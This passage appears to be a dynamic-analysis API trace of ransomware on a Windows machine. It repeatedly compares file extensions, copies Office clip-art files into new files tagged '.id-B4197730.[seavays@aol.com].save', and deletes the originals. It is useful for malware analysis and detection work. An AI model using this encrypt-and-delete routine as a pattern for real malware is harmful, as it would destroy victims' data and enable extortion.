[0173.052] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.052] lstrlenW (lpString=".1cd") returned 4 [0173.052] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.052] lstrlenW (lpString=".jpg") returned 4 [0173.052] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.052] lstrlenW (lpString=".doc") returned 4 [0173.052] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.052] lstrlenW (lpString=".docx") returned 5 [0173.052] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.052] lstrlenW (lpString=".pdf") returned 4 [0173.052] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.052] lstrlenW (lpString=".xls") returned 4 [0173.052] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.052] lstrlenW (lpString=".xlsx") returned 5 [0173.052] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.052] lstrlenW (lpString=".ppt") returned 4 [0173.052] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.052] lstrlenW (lpString=".zip") returned 4 [0173.052] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.052] lstrlenW (lpString=".rar") returned 4 [0173.052] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.052] lstrlenW (lpString=".bz2") returned 4 [0173.052] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.052] lstrlenW (lpString=".7z") returned 3 [0173.053] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.053] lstrlenW (lpString=".dbf") returned 4 [0173.053] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.053] lstrlenW (lpString=".1cd") returned 4 [0173.053] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.053] lstrlenW (lpString=".jpg") returned 4 [0173.053] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.053] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.053] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0173.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0173.055] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=7567) returned 1 [0173.055] CloseHandle (hObject=0x524) returned 1 [0173.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0173.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0173.055] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.056] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0173.056] GetLastError () returned 0x0 [0173.056] ReadFile (in: hFile=0x524, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0173.058] WriteFile (in: hFile=0x548, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1d90, lpOverlapped=0x0) returned 1 [0173.060] ReadFile (in: hFile=0x524, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.060] WriteFile (in: hFile=0x548, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0173.060] SetEndOfFile (hFile=0x548) returned 1 [0173.060] CloseHandle (hObject=0x548) returned 1 [0173.060] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.060] SetEndOfFile (hFile=0x524) returned 1 [0173.063] CloseHandle (hObject=0x524) returned 1 [0173.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0173.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.064] lstrlenW (lpString=".doc") returned 4 [0173.064] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.064] lstrlenW (lpString=".docx") returned 5 [0173.064] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.064] lstrlenW (lpString=".pdf") returned 4 [0173.064] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.064] lstrlenW (lpString=".xls") returned 4 [0173.064] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.065] lstrlenW (lpString=".xlsx") returned 5 [0173.065] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.065] lstrlenW (lpString=".ppt") returned 4 [0173.065] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.065] lstrlenW (lpString=".zip") returned 4 [0173.065] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.065] lstrlenW (lpString=".rar") returned 4 [0173.065] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.065] lstrlenW (lpString=".bz2") returned 4 [0173.065] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.065] lstrlenW (lpString=".7z") returned 3 [0173.065] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.065] lstrlenW (lpString=".dbf") returned 4 [0173.065] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.065] lstrlenW (lpString=".1cd") returned 4 [0173.065] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.065] lstrlenW (lpString=".jpg") returned 4 [0173.065] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.065] lstrlenW (lpString=".doc") returned 4 [0173.065] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.065] lstrlenW (lpString=".docx") returned 5 [0173.065] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.065] lstrlenW (lpString=".pdf") returned 4 [0173.065] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.065] lstrlenW (lpString=".xls") returned 4 [0173.065] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.066] lstrlenW (lpString=".xlsx") returned 5 [0173.066] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.066] lstrlenW (lpString=".ppt") returned 4 [0173.066] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.066] lstrlenW (lpString=".zip") returned 4 [0173.066] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.066] lstrlenW (lpString=".rar") returned 4 [0173.066] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.066] lstrlenW (lpString=".bz2") returned 4 [0173.066] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.066] lstrlenW (lpString=".7z") returned 3 [0173.066] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.066] lstrlenW (lpString=".dbf") returned 4 [0173.066] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.066] lstrlenW (lpString=".1cd") returned 4 [0173.066] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0173.066] lstrlenW (lpString=".jpg") returned 4 [0173.066] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.066] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.066] lstrlenW (lpString="GRID_01.MID") returned 11 [0173.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0173.068] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=6331) returned 1 [0173.068] CloseHandle (hObject=0x524) returned 1 [0173.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0173.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0173.069] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.069] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0173.069] GetLastError () returned 0x0 [0173.069] ReadFile (in: hFile=0x524, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x18bb, lpOverlapped=0x0) returned 1 [0173.071] WriteFile (in: hFile=0x548, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x18c0, lpOverlapped=0x0) returned 1 [0173.072] ReadFile (in: hFile=0x524, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.072] WriteFile (in: hFile=0x548, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xea, lpOverlapped=0x0) returned 1 [0173.072] SetEndOfFile (hFile=0x548) returned 1 [0173.072] CloseHandle (hObject=0x548) returned 1 [0173.072] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.072] SetEndOfFile (hFile=0x524) returned 1 [0173.075] CloseHandle (hObject=0x524) returned 1 [0173.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0173.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.076] lstrlenW (lpString=".doc") returned 4 [0173.076] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.076] lstrlenW (lpString=".docx") returned 5 [0173.076] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.076] lstrlenW (lpString=".pdf") returned 4 [0173.076] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.076] lstrlenW (lpString=".xls") returned 4 [0173.076] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.077] lstrlenW (lpString=".xlsx") returned 5 [0173.077] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.077] lstrlenW (lpString=".ppt") returned 4 [0173.077] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.077] lstrlenW (lpString=".zip") returned 4 [0173.077] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.077] lstrlenW (lpString=".rar") returned 4 [0173.077] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.077] lstrlenW (lpString=".bz2") returned 4 [0173.077] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.077] lstrlenW (lpString=".7z") returned 3 [0173.077] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.077] lstrlenW (lpString=".dbf") returned 4 [0173.077] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.077] lstrlenW (lpString=".1cd") returned 4 [0173.077] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.077] lstrlenW (lpString=".jpg") returned 4 [0173.077] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.077] lstrlenW (lpString=".doc") returned 4 [0173.077] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.077] lstrlenW (lpString=".docx") returned 5 [0173.077] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.077] lstrlenW (lpString=".pdf") returned 4 [0173.077] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.077] lstrlenW (lpString=".xls") returned 4 [0173.078] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.078] lstrlenW (lpString=".xlsx") returned 5 [0173.078] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.078] lstrlenW (lpString=".ppt") returned 4 [0173.078] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.078] lstrlenW (lpString=".zip") returned 4 [0173.078] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.078] lstrlenW (lpString=".rar") returned 4 [0173.078] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.078] lstrlenW (lpString=".bz2") returned 4 [0173.078] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.078] lstrlenW (lpString=".7z") returned 3 [0173.078] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.078] lstrlenW (lpString=".dbf") returned 4 [0173.078] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.078] lstrlenW (lpString=".1cd") returned 4 [0173.078] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0173.078] lstrlenW (lpString=".jpg") returned 4 [0173.078] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.078] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.078] lstrlenW (lpString="HTECH_01.MID") returned 12 [0173.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0173.079] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=7178) returned 1 [0173.079] CloseHandle (hObject=0x524) returned 1 [0173.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0173.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0173.080] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.080] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0173.081] GetLastError () returned 0x0 [0173.081] ReadFile (in: hFile=0x524, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1c0a, lpOverlapped=0x0) returned 1 [0173.188] WriteFile (in: hFile=0x548, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1c10, lpOverlapped=0x0) returned 1 [0173.190] ReadFile (in: hFile=0x524, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.190] WriteFile (in: hFile=0x548, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0173.190] SetEndOfFile (hFile=0x548) returned 1 [0173.549] CloseHandle (hObject=0x548) returned 1 [0173.549] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.559] SetEndOfFile (hFile=0x524) returned 1 [0173.562] CloseHandle (hObject=0x524) returned 1 [0173.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0173.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.564] lstrlenW (lpString=".doc") returned 4 [0173.564] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.564] lstrlenW (lpString=".docx") returned 5 [0173.564] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.564] lstrlenW (lpString=".pdf") returned 4 [0173.564] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.564] lstrlenW (lpString=".xls") returned 4 [0173.564] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.564] lstrlenW (lpString=".xlsx") returned 5 [0173.564] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.564] lstrlenW (lpString=".ppt") returned 4 [0173.564] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.564] lstrlenW (lpString=".zip") returned 4 [0173.564] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.564] lstrlenW (lpString=".rar") returned 4 [0173.564] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.564] lstrlenW (lpString=".bz2") returned 4 [0173.564] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.564] lstrlenW (lpString=".7z") returned 3 [0173.564] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.564] lstrlenW (lpString=".dbf") returned 4 [0173.564] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.564] lstrlenW (lpString=".1cd") returned 4 [0173.564] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.564] lstrlenW (lpString=".jpg") returned 4 [0173.564] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.564] lstrlenW (lpString="C:\\Program 